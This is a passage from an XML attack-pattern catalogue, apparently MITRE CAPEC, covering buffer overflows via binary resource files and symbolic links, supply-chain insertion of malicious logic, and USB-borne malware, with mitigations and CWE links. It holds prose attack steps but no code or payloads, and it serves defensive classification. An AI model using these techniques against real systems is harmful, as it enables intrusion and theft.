		<Attack_Pattern ID="44" Name="Overflow Binary Resource File" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits a buffer overflow vulnerability in the
						handling of binary resources. Binary resources may includes music files like
						MP3, image files like JPEG files, and any other binary file. These attacks
						may pass unnoticed to the client machine through normal usage of files, such
						as a browser loading a seemingly innocent JPEG file. This can allow the
						attacker access to the execution stack and execute arbitrary code in the
						target process. This attack pattern is a variant of standard buffer overflow
						attacks using an unexpected vector (binary files) to wrap its attack and
						open up a new attack vector. The attacker is required to either directly
						serve the binary content to the victim, or place it in a locale like a MP3
						sharing application, for the victim to download. The attacker then is
						notified upon the download or otherwise locates the vulnerability opened up
						by the buffer overflow.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target software processes binary resource files.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Target software contains a buffer overflow vulnerability reachable through
						input from a user-controllable binary resource file.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Binary files like music and video files are appended with additional
							data to cause buffer overflow on target systems. Because these files may
							be filled with otherwise popular content, the attacker has an excellent
							vector for wide distribution. There have been numerous cases, for
							example of malicious screen savers for sports teams that are distributed
							on the event of the team winning a championship.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To modify file, deceive client into downloading, locate and exploit
							remote stack or heap vulnerability</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Perform appropriate bounds checking on all buffers.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Static code analysis</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Execute program in less trusted process space environment,
						do not allow lower integrity processes to write to higher integrity
						processes</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Keep software patched to ensure that known vulnerabilities
						are not available for attackers to target on host.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>23<!--File System Function Injection, Content Based--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>35<!--Leverage Executable Code in Nonexecutable Files--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>165<!--File Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
					<Language>C</Language>
					<Language>C++</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="440" Name="Integrity Modification During Deployed Use"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>437<!--Supply Chain Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="441" Name="Malicious Logic Inserted Into Product"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker inserts malicious logic into a product at some point during
						the supply chain lifecycle. Very often it is difficult to detect when the
						malicious modifications took place because of the complex nature of supply
						chain dynamics. One common example of malicious logic embedded into a
						product concerns USB Memory sticks shipping with viruses or trojans,
						infecting the host machine once they are inserted into the port.</Text>
				</Summary>
			</Description>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>One common example of malicious logic embedded into a product
							concerns USB Memory sticks shipping with viruses or trojans, infecting
							the host machine once they are inserted into the port.</Text_Title>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>437<!--Supply Chain Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="442" Name="Malicious Logic Inserted Into Product Software"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>441<!--Malicious Logic Inserted Into Product--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="443"
			Name="Malicious Logic Inserted Into Product Software by Authorized Developer"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses their privileged position within an authorized software
						development organization to inject malicious logic into a codebase or
						product. Supply chain attacks from approved or trusted developers are
						extremely difficult to detect as it is generally assumed the quality control
						and internal security measures of these organizations conform to best
						practices. In some cases the malicious logic is intentional, embedded by a
						disgruntled employee, programmer, or individual with an otherwise hidden
						agenda. In other cases, the integrity of the product is compromised by
						accident (e.g. by lapse in the internal security of the organization that
						results in a product becoming contaminated). In other cases, the developer
						embeds a backdoor into a product to serve some purpose, such as product
						support, but discovery of the backdoor results in its malicious use by
						hackers.</Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>442<!--Malicious Logic Inserted Into Product Software--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="444"
			Name="Malicious Logic Insertion into Product Software via Externally Manipulated Component"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>442<!--Malicious Logic Inserted Into Product Software--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="445"
			Name="Malicious Logic Insertion into Product Software via Configuration Management Manipulation"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a configuration management system so that malicious
						logic is inserted into a software products build, update or deployed
						environment. If an attacker can control the elements included in a product's
						configuration management for build they can potentially replace, modify or
						insert code files containing malicious logic. If an attacker can control
						elements of a product's ongoing operational configuration management
						baseline they can potentially force clients recieving updates from the
						system to install insecure software when recieving updates from the server.
						Configuration management servers operate on the basis of a client pool,
						instructing each client on which software to install. In some cases the
						configuration management server will automate the software installation
						process. A malicious insider or an attacker who has compromised the server
						can alter the software baseline that clients must install, allowing the
						attacker to compromise a large number of satallite machines using the
						configuration management system. If an attacker can control elements of a
						product's configuration management for its deployed environment they can
						potentially alter fundamental security properties of the system based on
						assumptions that secure configurations are in place.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text/>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>444<!--Malicious Logic Insertion into Product Software via Externally Manipulated Component--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="446"
			Name="Malicious Logic Insertion into Product Software via Inclusion of 3rd Party Component Dependency"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker conducts supply chain attacks by the inclusion of insecure 3rd
						party components into a technology, product, or code-base, possibly
						packaging a malicious driver or component along with the product before
						shipping it to the consumer or acquirer. The result is a window of
						opportunity for exploiting the product or software until the insecure
						component is discovered. This supply chain threat can result in the
						installation of software that introduces widespread security vulnerabilities
						within an organization. One exampple could be the inclusion of an
						exploitable DLL (Dynamnic Link Library) included within an antivirus
						technology. Because software often depends upon a large number of
						interdependent libraries and components to be be present, security holes can
						be introduced merely by installing COTS software that comes pre-packaged
						with the components required for it to operate.</Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>444<!--Malicious Logic Insertion into Product Software via Externally Manipulated Component--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="447"
			Name="Malicious Logic Insertion into Product Software during Update"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates the codebase provided in a software patch,
						firmware version, or product update to contain malicious code. This results
						in devices, products, or software downloading and executing the attacker's
						code, or the code is introduced when the user upates the BIOS of a device. A
						malicious software update can perform any range of actions, depending on the
						attacker's intent. Of greatest concern are compromised updates that
						introduce logic bombs, deliberately hidden backdoors or rootkits,
						self-modifying code, keyloggers, or other means of gaining direct access to
						an organization's internal network. </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>442<!--Malicious Logic Inserted Into Product Software--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="448" Name="Malware Infection into Product Software"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker tampers with the code of a product and injects malicious logic
						into the device in order to infect any machine which interfaces with the
						product, and possibly steal private data or eavesdrop. With the
						proliferation of mass digital storage and inexpensive multimedia devices,
						bluetooth and 802.11 support, new attack vectors for spreading malware are
						emereging for things we once thought of as innocuous greeting cards, picture
						frames, or digital projectors becomes important vectors of attack.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text/>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>442<!--Malicious Logic Inserted Into Product Software--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="449" Name="Malware Propagation via USB Stick"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker loads malicious code onto a USB memory stick in order to
						infect any supply chain-relevant machine which the device is plugged in to.
						This initially infected machine could then propogate the infection to
						products moving through the supply chain process. USB drives present a
						significant security risk for business and governmnent agencies. Given the
						ability to integrate wireless functionality into a USB stick, its possible
						to design malware that not only steals confidential data, but sniffs the
						network, or monitor keystrokes, and then exfiltrates the stolen data
						off-site via a Wireless connection. Also, viruses can be transmitted via the
						USB interface without the specific use of a memory stick. The attacks from
						USB devices are often of such sophistication that experts conclude they are
						not the work of single individuals, but suggest state sponsorship.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Access to the system containing the ATA Drive so that the drive can be
						physically removed from the system.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>One example concerns digital picture frames manufactured in
							China. When the user user plugs the picture frame into their conmputer
							via USB a worm is transmitted to their system. </Text_Title>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>448<!--Malware Infection into Product Software--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Marcus Sachs</Reference_Author>
					<Reference_Title>Supply Chain Attacks: Can We Secure Information Technology
						Supply Chain in the Age of Globalization</Reference_Title>
					<Reference_Publisher>Verizon, Inc.</Reference_Publisher>
				</Reference>
				<Reference>
					<Reference_Author>Deborah Gage</Reference_Author>
					<Reference_Title>Virus from China the gift that keeps on
						giving</Reference_Title>
					<Reference_Publisher>San Francisco Chronicle</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="45" Name="Buffer Overflow via Symbolic Links"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This type of attack leverages the use of symbolic links to cause buffer
						overflows. An attacker can try to create or manipulate a symbolic link file
						such that its contents result in out of bounds data. When the target
						software processes the symbolic link file, it could potentially overflow
						internal buffers with insufficient bounds checking.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker creates or modifies a symbolic link
												pointing to a resources (e.g., file, directory). The
												content of the symbolic link file includes
												out-of-bounds (e.g. excessive length) data.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The target host consumes the data pointed to by
												the symbolic link file. The target host may either
												intentionally expect to read a symbolic link or it
												may be fooled by the replacement of the original
												resource and read the attacker's symbolic
												link.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>While consuming the data, the target host does not
												check for buffer boundary which can lead to a buffer
												overflow. If the content of the data is controlled
												by the attacker, this is an avenue for remote code
												execution.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker can create symbolic link on the target host.</Text>
				</Attack_Prerequisite>
